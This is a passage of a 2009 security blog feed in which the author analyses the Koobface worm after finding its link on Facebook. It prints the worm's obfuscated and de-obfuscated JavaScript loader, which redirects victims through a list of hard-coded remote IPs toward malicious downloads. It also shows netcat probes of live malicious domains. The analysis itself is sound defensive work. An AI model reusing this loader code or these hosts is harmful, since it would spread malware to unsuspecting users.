&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_5OFsnfdFN14/Ssnn-s_7lfI/AAAAAAAAADc/9dcHpOfblzk/s1600-h/sans_secure_coding_site_down.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 316px;" src="http://1.bp.blogspot.com/_5OFsnfdFN14/Ssnn-s_7lfI/AAAAAAAAADc/9dcHpOfblzk/s400/sans_secure_coding_site_down.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5389093493542721010" /&gt;&lt;/a&gt;

&lt;br /&gt;
At the time of this posting, the entire &lt;a href="https://www.securecoding.cert.org"&gt;securecoding.cert.org&lt;/a&gt; site seems to be down.  Isn't information disclosure part of secure coding?  The error message probably isn't a big deal, but still... &lt;br /&gt;
&lt;br /&gt;
This is what cert.org says about information disclosure on their site: &lt;a href="https://www.securecoding.cert.org/confluence/display/java/EXC01-J.+Do+not+allow+exceptions+to+transmit+sensitive+information"&gt;actual link&lt;/a&gt;, &lt;a href="http://74.125.155.132/search?q=cache:-BcUcwSYT00J:https://www.securecoding.cert.org/confluence/display/java/EXC01-J.%2BDo%2Bnot%2Ballow%2Bexceptions%2Bto%2Btransmit%2Bsensitive%2Binformation+information+disclosure+site:securecoding.cert.org&amp;cd=1&amp;hl=en&amp;ct=clnk&amp;gl=us"&gt;google's cache&lt;/a&gt;.  A better link: &lt;a href="https://www.securecoding.cert.org/confluence/display/seccode/2009+CWE+SANS+Top+25+Most+Dangerous+Programming+Errors"&gt;Top 25 Programming Errors&lt;/a&gt; (see CWE-209).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-1909845498122248480?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/1909845498122248480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/10/cert-secure-coding-site-down.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1909845498122248480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1909845498122248480'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/10/cert-secure-coding-site-down.html' title='CERT Secure Coding Site Down'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_5OFsnfdFN14/Ssnn-s_7lfI/AAAAAAAAADc/9dcHpOfblzk/s72-c/sans_secure_coding_site_down.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-1957286729327302504</id><published>2009-09-27T08:51:00.000-07:00</published><updated>2009-09-28T03:53:20.896-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='koobface'/><category scheme='http://www.blogger.com/atom/ns#' term='KROTEG'/><title type='text'>Koobface Javascript Explained</title><content type='html'>In this post, I'll be going through the javascript files that I've found through links that have been posted on facebook.  An example of the original file is shown below:

&lt;div class="answer"&gt;
Javascript
&lt;div class="cmd-code"&gt;
&lt;pre&gt;// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 &amp;lt; pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
    if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
  ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
  break;
    }
}
window.redirect = '';
function urocwfkgdsjq6() {
 var higeruoxzcnqsbad9 = '' + window.redirect;
 if (higeruoxzcnqsbad9.length &amp;gt; 0) window.location.href = higeruoxzcnqsbad9;
 else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n &amp;lt; 101) js = '/cnet';
 else if (n &amp;lt; 201) js = '/warn';
 else if (n &amp;lt; 301) js = '/scan';
 else if (n &amp;lt; 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 &amp;lt; fomqnzlcd1.length; nilhfdopsrx7 ++) {
 var onjrmgcaifxsqtzb9 = document.createElement('script');
 onjrmgcaifxsqtzb9.type = 'text/javascript';
 onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length &amp;gt; 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

And here is my version of it (I de-obfuscated most of it):

&lt;div class="answer"&gt;
De-Obfuscated Javascript
&lt;div class="cmd-code"&gt;
&lt;pre&gt;// KROTEG
var referrers = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i &lt; referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
  newPath = '/f=' + referrers[i][1];
  break;
    }
}
window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length &gt; 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n &lt; 101) js = '/cnet';
 else if (n &lt; 201) js = '/warn';
 else if (n &lt; 301) js = '/scan';
 else if (n &lt; 401) js = '';
}
for (var i = 0; i &lt; ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length &gt; 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

Ok, now to go through it step by step (I &lt;i&gt;am&lt;/i&gt; going to assume you have some experience with javascript).&lt;br /&gt;
&lt;br /&gt;
The first thing this script does is get the referrer here:
&lt;div class="answer"&gt;
Referrer
&lt;div class="cmd-code"&gt;
&lt;pre&gt;var docReferrer = '' + eval('document.referrer'), newPath = '';&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

Then the script tries to find a domain in its &lt;span class="cmd-code"&gt;referrers array&lt;/span&gt; that is found in the docReferrer variable.  If it finds one that matches, it sets the &lt;span class="cmd-code"&gt;newPath&lt;/span&gt; variable to &lt;span class="cmd-code"&gt;/f=&amp;lt;referrer abbreviation&amp;gt;&lt;/span&gt;

&lt;div class="answer"&gt;
Matching the referrrer
&lt;div class="cmd-code"&gt;
&lt;pre&gt;for (var i = 0; i &amp;lt; referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
       newPath = '/f=' + referrers[i][1];
       break;
    }
}&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

The next thing the script does is set window.redirect to "" (&lt;span class="cmd-code"&gt;window.redirect = '';&lt;/span&gt;).  Then it defines a function that uses &lt;span class="cmd-code"&gt;setTimeout()&lt;/span&gt; to periodically (and semi-asynchronously) check window.redirect to see if there is any data stored there.  If there is, the &lt;span class="cmd-code"&gt;window.location.href&lt;/span&gt; is set to the window.redirect variable, redirecting the browser to the new location.  This is shown below:

&lt;div class="answer"&gt;
WaitForRedirect() function
&lt;div class="cmd-code"&gt;
&lt;pre&gt;window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length &amp;gt; 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

After making the initial call to the &lt;span class="cmd-code"&gt;WaitForRedirect()&lt;/span&gt; function, the script sets the variable &lt;span class="cmd-code"&gt;js&lt;/span&gt; to one of &lt;span class="cmd-code"&gt;/view, /cnet, /warn, /scan&lt;/span&gt; or blank (''), based on the id number of your account on any one of the social networking sites koobface targets. The way it does this isn't very straightforward.  First, it looks for the &lt;span class="cmd-code"&gt;"?id="&lt;/span&gt; substring in the href:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
var n = location.href.indexOf('?id=');
&lt;/div&gt;
&lt;/div&gt;

Then, if the current href contains the &lt;span class="cmd-code"&gt;"?id="&lt;/span&gt; substring, then it tries to parse the id of your account by parsing anything that comes after "?id=":

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 ...
}
&lt;/div&gt;
&lt;/div&gt;

Then the script assigns the &lt;span class="cmd-code"&gt;js&lt;/span&gt; variable to a new value, depending on the magnitude of your id.  If your id is greater than or equal to 401, &lt;span class="cmd-code"&gt;js&lt;/span&gt; will always be "/view".  This would be the case for all (I think) facebook accounts, as well as any other account on a site, unless you were one of the first 400 people to sign up &lt;b&gt;and&lt;/b&gt; the site uses sequential ids.  I'm not quite sure why the script would want to specifically check for this, unless it's b/c the main site they are targeting uses pages that serve the correct content based on the id url param (hence the ?id=).  Still have to figure out more on this one.&lt;br /&gt;
&lt;br /&gt;

The last thing the script does is append a new script tag to the DOM head for each ip in its &lt;span class="cmd-code"&gt;ipAddresses&lt;/span&gt; array:

&lt;div class="answer"&gt;
New javascript for each ip
&lt;div class="cmd-code"&gt;
&lt;pre&gt;for (var i = 0; i &amp;lt; ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length &amp;gt; 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

  This is done in case one of the ips is taken out or stops working.  The first script to get loaded assigns the &lt;span class="cmd-code"&gt;window.redirect&lt;/span&gt; variable to a new value.  This can be seen in the source of one of the scripts: (At the time of this writing, the ip &lt;span class="cmd-code"&gt;113.254.53.10&lt;/span&gt; was up and working)

&lt;div class="answer"&gt;
Second script content
&lt;div class="cmd-code"&gt;
&lt;pre&gt;window.redirect='h t t p://113.254.53.10/d='+location.hostname+'/0x3E8/f=fb2/cnet/';&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

Note that the &lt;span class="cmd-code"&gt;/f=fb2/cnet/&lt;/span&gt; part of the the string being assigned to &lt;span class="cmd-code"&gt;window.redirect&lt;/span&gt; will change based on what site you were on when you clicked the link, as well as what the &lt;span class="cmd-code"&gt;id=&lt;/span&gt; url-param was.&lt;br /&gt;
&lt;br /&gt;
Remember that &lt;span class="cmd-code"&gt;WaitForRedirect()&lt;/span&gt; function we explained earlier and how it periodically checks for a non-blank string in the &lt;span class="cmd-code"&gt;window.redirect&lt;/span&gt; variable?  Once the second script assigns a non-blank string to that variable, the &lt;span class="cmd-code"&gt;WaitForRedirect()&lt;/span&gt; function will redirect the browser to the new url.  From there, many different things may happen, but it looks like most of them are social networking site look-alikes that try and get you to run an executable that automatically starts downloading.&lt;br /&gt;
&lt;br /&gt;
Well, that's about it for tonight :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-1957286729327302504?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/1957286729327302504/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/09/koobface-javascript-explained.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1957286729327302504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1957286729327302504'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/09/koobface-javascript-explained.html' title='Koobface Javascript Explained'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-2102229815673782461</id><published>2009-09-27T08:29:00.000-07:00</published><updated>2009-09-28T07:50:04.693-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='attack'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='koobface'/><category scheme='http://www.blogger.com/atom/ns#' term='User-Agent'/><title type='text'>Koobface on my Facebook II</title><content type='html'>Well, while I was starting to write up &lt;a href="http://gnarlysec.blogspot.com/2009/09/koobface-javascript-explained.html"&gt;a post describing what the javascript file does&lt;/a&gt;, I found another link for koobface on my facebook!  This time from a different domain: &lt;span class="cmd-code"&gt;h t t p ://www.blackjackorchestra.eu/privaledwd/&lt;/span&gt;.  This link does the exact same thing as the one in the &lt;a href="http://gnarlysec.blogspot.com/2009/09/koobface-on-my-facebook.html"&gt;previous post&lt;/a&gt;, except for a few differences in their php script quality :), as well as a few other minor changes.  In my previous post, I described how the server-side script checked to see if you gave it a valid User-Agent before sending you the javascript in the content.  This site does the same thing, but I guess some debug info was left in it!  Here's the content that's sent back if you send it a request that does not contain a User-Agent header: &lt;br /&gt;
&lt;div class="answer"&gt;
Request &amp;amp Response (using netcat):
&lt;div class="cmd-code"&gt;
&lt;pre&gt;C:\&amp;gt;nc www.blackjackorchestra.eu 80
GET /privaledwd/ HTTP/1.1
HOST: www.blackjackorchestra.eu

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.1.1
X-Powered-By: ASP.NET
Date: Sun, 27 Sep 2009 15:32:28 GMT
Connection: close

&amp;lt;br /&amp;gt;
&amp;lt;b&amp;gt;Notice&amp;lt;/b&amp;gt;:  Undefined index:  HTTP_USER_AGENT in &amp;lt;b&amp;gt;d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;30&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;b&amp;gt;Notice&amp;lt;/b&amp;gt;:  Undefined index:  HTTP_USER_AGENT in &amp;lt;b&amp;gt;d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;37&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;b&amp;gt;Notice&amp;lt;/b&amp;gt;:  Undefined variable: rscript in &amp;lt;b&amp;gt;d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;42&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;title&amp;gt;Amazing Video&amp;lt;/title&amp;gt;
ocwdtreifoyocrb egzcqgtcfx
&amp;lt;img src=afjo4blr.jpg&amp;gt;
ocecaahcqgeuzk qduzqsc
PHP Notice:  Undefined index:  HTTP_USER_AGENT in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 30
PHP Notice:  Undefined index:  HTTP_USER_AGENT in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 37
PHP Notice:  Undefined variable: rscript in d:\www\blackjackorchestra.eu\htdocs\privaledwd\index.php on line 42&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

Someone forgot to take out their debug info!  Hahaha :)  Well, if you do send a valid User-Agent, this is the content that gets sent back:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;zzmjqoqvri byiktuysec
&amp;lt;script src="9r.js"&amp;gt;&amp;lt;/script&amp;gt; 
yadoemvy ilxnsxiilmsnqbb&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

Also, the javascript file is exactly the same, except for different random names for the variables, and two different ip addresses.  The script in the last post had these two addresses: &lt;span class="cmd-code"&gt;59.93.80.251, 79.182.37.95&lt;/span&gt;.  The script in this post doesn't have those two addresses, but has these two instead: &lt;span class="cmd-code"&gt;217.132.126.129, 90.17.65.193&lt;/span&gt;.  Well, I think that covers it for this new koobface url. Now onto writing about that javascript...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-2102229815673782461?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/2102229815673782461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/09/koobface-on-my-facebook-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/2102229815673782461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/2102229815673782461'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/09/koobface-on-my-facebook-ii.html' title='Koobface on my Facebook II'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-1097423388364338366</id><published>2009-09-24T12:15:00.000-07:00</published><updated>2009-09-27T17:46:38.114-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='attack'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='koobface'/><category scheme='http://www.blogger.com/atom/ns#' term='KROTEG'/><title type='text'>Koobface on my Facebook!</title><content type='html'>I was checking my facebook earlier today (something I almost never do), and noticed that someone had left a weird link on my wall: 
&lt;span class="cmd-code"&gt;h t t p ://s217307881.mialojamiento.es/y0urc1ip/&lt;/span&gt;
I first visited the page in Firefox with javascript and such turned off.  This is the source of the page as seen from firefox:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;pcnxnkcaiztp cvnxmxxrgscdvkr
&amp;lt;script src="9j72fkj-de1w.js"&amp;gt;&amp;lt;/script&amp;gt;
qgdtubgfdho adbdzoam&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

I then decided to visit the page from the command line using netcat:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;C:\&amp;gt;nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:40:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6e
&amp;lt;title&amp;gt;Amazing Video&amp;lt;/title&amp;gt;
ucctsfnqmvyh ldaumylhrlljfb
&amp;lt;img src=j18sda5ncm8.jpg&amp;gt;
exlyansstgifbh wsrwmduxllj

0&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

Notice the difference?  No javascript tag is found in the source.  I did a little experimenting with the server and found that only requests that contain valid User-Agent headers will get the script tag:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;C:\&amp;gt;nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: The Old Laundry Basket

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:49:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6a
&amp;lt;title&amp;gt;Amazing Video&amp;lt;/title&amp;gt;
ozgauyjgghjy aabkqxigumthaux
&amp;lt;img src=j18sda5ncm8.jpg&amp;gt;
jorivrc bjajszitzkdqh

0&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

This one is sending a User-Agent string that IE8 uses:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;C:\Documents and Settings\Student&amp;gt;nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506)

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:58:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

5c
upthmidfi ajglroelpsymijw
&amp;lt;script src=&amp;quot;9j72fkj-de1w.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
ailsoghinur aaqajwmblrnbj

0&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

Now, onto the Javascript file: 9j72fkj-de1w.js.  Below is the original contents of the file:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 &amp;lt; pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
    if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
  ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
  break;
    }
}
window.redirect = '';
function urocwfkgdsjq6() {
 var higeruoxzcnqsbad9 = '' + window.redirect;
 if (higeruoxzcnqsbad9.length &amp;gt; 0) window.location.href = higeruoxzcnqsbad9;
 else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n &amp;lt; 101) js = '/cnet';
 else if (n &amp;lt; 201) js = '/warn';
 else if (n &amp;lt; 301) js = '/scan';
 else if (n &amp;lt; 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 &amp;lt; fomqnzlcd1.length; nilhfdopsrx7 ++) {
 var onjrmgcaifxsqtzb9 = document.createElement('script');
 onjrmgcaifxsqtzb9.type = 'text/javascript';
 onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length &amp;gt; 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

And here is my version of it:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;// KROTEG
var referrers = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i &amp;lt; referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
  newPath = '/f=' + referrers[i][1];
  break;
    }
}
window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length &amp;gt; 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n &amp;lt; 101) js = '/cnet';
 else if (n &amp;lt; 201) js = '/warn';
 else if (n &amp;lt; 301) js = '/scan';
 else if (n &amp;lt; 401) js = '';
}
for (var i = 0; i &amp;lt; ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length &amp;gt; 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

I did some searching around for the word "KROTEG" and found this link: &lt;a href="http://r3v3rs3e.wordpress.com/tag/kroteg/"&gt;http://r3v3rs3e.wordpress.com/tag/kroteg/&lt;/a&gt;.
What was on my wall was just another variant of the koobface worm.&lt;br /&gt;
&lt;br /&gt;
I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.&lt;br /&gt;
&lt;br /&gt;
I don't have time now to explain what the js file does, but will go through that in another post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-1097423388364338366?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/1097423388364338366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/09/koobface-on-my-facebook.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1097423388364338366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1097423388364338366'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/09/koobface-on-my-facebook.html' title='Koobface on my 